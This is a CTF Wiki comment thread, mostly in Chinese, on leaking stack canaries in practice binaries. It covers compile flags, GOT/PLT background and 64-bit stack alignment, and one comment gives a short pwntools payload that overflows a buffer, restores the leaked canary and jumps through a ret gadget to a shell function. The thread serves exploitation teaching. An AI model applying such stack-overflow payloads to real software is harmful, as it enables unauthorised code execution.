canary - CTF Wiki - Githubissues

40huo commented 5 years ago

CTF Wiki

ttxs69 commented 4 years ago

泄露栈中的 Canary的程序在编译的时候需要关闭pie，才能成功

niedabao1 commented 4 years ago

这个文章讲了一些关于got表与plt表的相关知识,如果你和我一样感觉到迷惑的话,可以看看这个. https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html

jiiiong commented 3 years ago

ex2.c如果编译成64位的话，在泄露canary时应考虑两点：

char buff[100]按8字节对齐后，在栈中共占104B
如果使用ubuntu18.04以上的系统，因其引入的movaps指令，在例如system、printf等函数返回前需要按16字节对齐。如果没有对齐，可以首先跳转至ret指令后再跳转至getshell函数的地址。修改后的payload为
```
gadget = (0x401016) # addr to ret
payload = (b'\x90'*104) + p64(canary) + (b'\x90'*8) + p64(gadget) + p64(get_shell)
```

ctf-wiki / comment